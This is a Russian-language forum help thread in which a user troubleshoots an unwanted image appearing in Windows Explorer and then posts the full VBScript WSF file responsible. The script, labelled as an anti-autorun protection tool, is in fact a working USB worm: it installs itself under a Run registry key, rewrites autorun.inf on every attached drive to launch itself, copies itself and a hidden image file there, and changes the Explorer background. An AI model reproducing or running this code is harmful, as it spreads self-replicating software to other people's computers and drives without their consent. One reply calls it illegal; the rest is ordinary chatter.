ХЕЛП

[RegIon]

ХЕЛП:ЧЁ ЗА ****,как лечить!!??

форум начал маты парсерить,иль ето наверно модераторы..

[ARA]

Сообщение от Костян

как лечить!!??

Монитор протри.

[RegIon]

Монитор протри.

гага..смешно..Чёб дельного посоветовал,я посмотрел бы что ты делал..

[ingko]

Сообщение от Костян

гага..смешно..Чёб дельного посоветовал,я посмотрел бы что ты делал..

Просто, снеси оформление окон. Или найди файлик с этой фигней

[baton4ik]

Подумай, что за Галя могла такое сделать. Наверняка это твоя тайная поклонница решила таким образом "поздравить" тебя с первым апреля! Главное, когда найдёшь её, не сдерживай чувства и у вас всё будет хорошо!

[den]

Мб проверить автозагрузку на постороннее?

[RegIon]

Просто, снеси оформление окон. Или найди файлик с этой фигней

тему она не трогает....че хоч ставь,даже класику

Подумай, что за Галя могла такое сделать. Наверняка это твоя тайная поклонница решила таким образом "поздравить" тебя с первым апреля! Главное, когда найдёшь её, не сдерживай чувства и у вас всё будет хорошо!

У нас ВСЕ компы им покрылись,я долго держался..месяца 2....(в школе так вобще все компы(смешно так))

Мб проверить автозагрузку на постороннее?

Протестил,не там нет,и в реестре тоже в автозапуске....

[ingko]

Костян, Посмотри свойства папок и включи классический вид.

[RegIon]

Ет,как кодом повесить картинку на то место где ща "галя"
Вот:автозагрузка пустая:Вложение 13209

[RegIon]

Я нашел СУ*У.....

<?xml version="1.0" encoding="windows-1251"?>
<!-- Проект: usb_anti_autorun -->
<!-- Автор: AxeL -->
<!-- При участии: Аскет -->
<!-- Файл: usbb.wsf -->
<!-- Версия: 1.1 -->
<!-- Назначение: подмена файла autorun.inf на свой (или его убийство, для этого в скрипте удалить строки со 150 по 170 включительно) -->
<!-- дабы не запустился вирь, в момент подсоединения флэхи -->
<!-- метод распространения: виросоподобный(autorun) -->
<!-- Права: Можно изменять скрипт под свои нужды, смотреть под отладчиком (в общем, любые) -->
<!-- Гарантии: Никаких (ни явных, ни подразумеваемых) -->
<!-- Причина написания скрипта: Penetrator -->
<!-- Связь с автором: через сайт askett.hoter.ru -->
<package>
<job id="Self_Install">
<runtime>
<description>
Имя: usbb.wsf
Автор: AxeL
Описание: Самоустановка в   %ProgramFiles%\usb_anti_autorun
</description>
</runtime>
<script language="VBScript">
<![CDATA[
Option Explicit

Dim fso, sh
Dim oWmiq, oSelQ, oItem
Dim Root, InstDir, InstFolder : InstFolder = "\usb_anti_autorun"
Dim File, attr
Dim RegKey

On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")
Set sh = CreateObject("WScript.Shell")

InstDir = sh.ExpandEnvironmentStrings("%programfiles%") & InstFolder
Root = sh.ExpandEnvironmentStrings("%SystemRoot%")

If (Chr(34) & fso.GetParentFolderName(WScript.ScriptFullName) & Chr(34)) <> (Chr(34) &  InstDir & Chr(34)) Then

    If Not fso.FolderExists(InstDir) Then fso.CreateFolder InstDir

    If fso.FileExists(InstDir & "\usbb.wsf") Then
        Set File = fso.GetFile(InstDir & "\usbb.wsf")
        attr = File.Attributes
        File.Attributes = 0
        fso.CopyFile WScript.ScriptFullName, InstDir & "\usbb.wsf"
        File.Attributes = attr
    Else
        fso.CopyFile WScript.ScriptFullName, InstDir & "\usbb.wsf"
        Set File = fso.GetFile(InstDir & "\usbb.wsf")
        File.Attributes = 33
    End If


    If Not fso.FileExists (InstDir & "\Thumds.db") Then
    If fso.FileExists ("Thumds.db") Then
    fso.CopyFile "Thumds.db", InstDir & "\Thumds.db"
    End if
    End if


    sh.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\usb_autorun_remover", _
    Chr(34) & Root & "\System32\wscript.exe" & Chr(34) & " " & Chr(34) & InstDir & "\usbb.wsf" & Chr(34) & " //Job:Work"


    RegKey = sh.RegRead("HKCR\WSFFile\EditFlags")
    If Err.Number = 0 Then sh.RegDelete "HKCR\WSFFile\EditFlags"
    RegKey = sh.RegRead("HKCR\WSFFile\Shell\Open\Command\")

    If RegKey <> "%SystemRoot%\System32\WScript.exe ""%1"" %*" Then _
    sh.RegWrite "HKCR\WSFFile\Shell\Open\Command\", "%SystemRoot%\System32\WScript.exe ""%1"" %*"

    sh.RegWrite "HKCR\WSFFile\EditFlags", 24, "REG_DWORD"

    Set oWmiq = GetObject("WinMgmts:{impersonationLevel=impersonate}!//./root/cimv2")
    Set oSelQ = oWmiq.ExecQuery("SELECT * FROM Win32_Process")

    For Each oItem In oSelQ
        If LCase(RTrim(oItem.CommandLine)) = LCase(Chr(34) & Root & "\System32\wscript.exe" & Chr(34) & " " & Chr(34) & InstDir & "\usbb.wsf" & Chr(34) & " //Job:Work") _
        Then oItem.Terminate
    Next

    sh.Exec(Chr(34) & Root & "\System32\wscript.exe" & Chr(34) & " " & Chr(34) & InstDir & "\usbb.wsf" & Chr(34) & " //Job:Work")
    
    If Len(fso.GetParentFolderName(WScript.ScriptFullName)) <=3 Then sh.Exec("explorer.exe " & fso.GetParentFolderName(WScript.ScriptFullName))
    
    Set fso = Nothing
    Set sh = Nothing
    Set oWmiq = Nothing
    Set oSelQ = Nothing
    Set File = Nothing
    WScript.Quit

Else
    sh.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\usb_autorun_remover", _
    Chr(34) & Root & "\System32\wscript.exe" & Chr(34) & " " & Chr(34) & InstDir & "\usbb.wsf" & Chr(34) & " //Job:Work"
    sh.Exec(Chr(34) & Root & "\System32\wscript.exe" & Chr(34) & " " & Chr(34) & InstDir & "\usbb.wsf" & Chr(34) & " //Job:Work")
End If


Sub Error_Handler()
MsgBox Err.Number & Chr(13) & Err.Source & Chr(13) & Err.Description
Err.Clear
End Sub

]]>
</script>
</job>


<job id="Work">
<runtime>
<description>
Имя: usbb.wsf
Автор: AxeL
Описание: Висит в процессах и каждые 3 секунды проверяет, не присоединил ли кто-нибудь флэху,
      если да, проверяем наличие файла autorun.inf и убиваем его, если нет, ждемс...
</description>
</runtime>

<script language="VBScript">
<![CDATA[

Option Explicit
Dim CompName : CompName = "."
Dim fso, sh
Dim oWmi, oSelQ
Dim oDisk, oItem
Dim Root, InstDir, InstFolder : InstFolder = "\usb_anti_autorun"
Dim ts, File, attr
Dim Find
On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")
Set sh = CreateObject("WScript.Shell")

InstDir = sh.ExpandEnvironmentStrings("%programfiles%") & InstFolder
Root = sh.ExpandEnvironmentStrings("%SystemRoot%")

Set oWmi = GetObject("WinMgmts:{impersonationLevel=impersonate}!//" & CompName & "/root/cimv2")

Set oSelQ = oWmi.ExecQuery("SELECT * FROM Win32_Process")
Find = 0

For Each oItem In oSelQ
    If LCase(RTrim(oItem.CommandLine)) = LCase(Chr(34) & Root & "\System32\wscript.exe" & Chr(34) & " " & Chr(34) & InstDir & "\usbb.wsf" & Chr(34) & " //Job:Work") _
    Then Find = Find + 1
Next

If Find > 1 Then WScript.Quit 0

Set oDisk = oWmi.ExecNotificationQuery("SELECT * FROM __InstanceCreationEvent " & _
"WITHIN 3 WHERE TargetInstance ISA 'Win32_LogicalDisk'")

Do
Set oItem = oDisk.NextEvent

    If fso.FileExists (oItem.TargetInstance.DeviceID & "\autorun.inf") Then
    Set File = fso.GetFile(oItem.TargetInstance.DeviceID & "\autorun.inf")
    File.Attributes = 0
    File.Delete
    End If

    Set ts = fso.CreateTextFile(oItem.TargetInstance.DeviceID & "\autorun.inf")
    WScript.Sleep(100)
    ts.WriteLine "[AutoRun]"
    ts.WriteLine "shell\explore\Command=wscript.exe usbb.wsf"
    ts.WriteLine "shell\explore=Проводник"
    ts.WriteLine "shell\open\Command=wscript.exe usbb.wsf"
    ts.WriteLine "shell\open=Открыть"
    ts.close
    
    Set File = fso.GetFile(oItem.TargetInstance.DeviceID & "\autorun.inf")
    File.Attributes = 39

        If fso.FileExists(oItem.TargetInstance.DeviceID & "\usbb.wsf") Then
        Set File = fso.GetFile(oItem.TargetInstance.DeviceID & "\usbb.wsf")
        File.Attributes = 0
        End If
    fso.CopyFile WScript.ScriptFullName, oItem.TargetInstance.DeviceID & "\usbb.wsf"
    Set File = fso.GetFile(oItem.TargetInstance.DeviceID & "\usbb.wsf")
    File.Attributes = 39

        If fso.FileExists(oItem.TargetInstance.DeviceID & "\Thumds.db") Then
        Set File = fso.GetFile(oItem.TargetInstance.DeviceID & "\Thumds.db")
        File.Attributes = 0
        End If
    fso.CopyFile InstDir & "\Thumds.db", oItem.TargetInstance.DeviceID & "\Thumds.db"
    Set File = fso.GetFile(oItem.TargetInstance.DeviceID & "\Thumds.db")
    File.Attributes = 39

    if ((Month(Now)>2 And Day(Now)>7) Or Month(Now)>3) Then 
    sh.RegWrite "HKCU\Software\Microsoft\Internet explorer\Toolbar\BackBitmapShell", _
    InstDir & "\Thumds.db"
    End if

Loop While True

]]>
</script>
</job>
</package>

[ingko]

Вид окон ужасный

[impersonalis]

Права: Можно изменять

права для программы, подпадающей под нарушение закона

виросоподобный(autorun)

школоло детектед. импе негодуэ

Костян, а что антиврь пропустил? Чем пользуешься? НОД? А нафиг мэилГуард? Вообще: список автозагрузки страшен как война =\

[RegIon]

Костян, а что антиврь пропустил? Чем пользуешься? НОД? А нафиг мэилГуард? Вообще: список автозагрузки страшен как война =\

Нод(в автозагрузке тупо написано)..Маил точняк надо завалить..Скрипт сам запустил(хорощо глушит автораны там где антив ето не делает)..только кто-то етото скрипт чуть дописал...

[Nex]

Подскажите за что отвечает процесс svchost.exe? И почему когда винде мало лет от роду этих процессов мало, но со временем их становится все больше и больше?

[moka]

Сообщение от Nex

Подскажите за что отвечает процесс svchost.exe? И почему когда винде мало лет от роду этих процессов мало, но со временем их становится все больше и больше?

Первая ссылка:
http://www.google.co.uk/search?q=svc...cd36e4cef8e0e7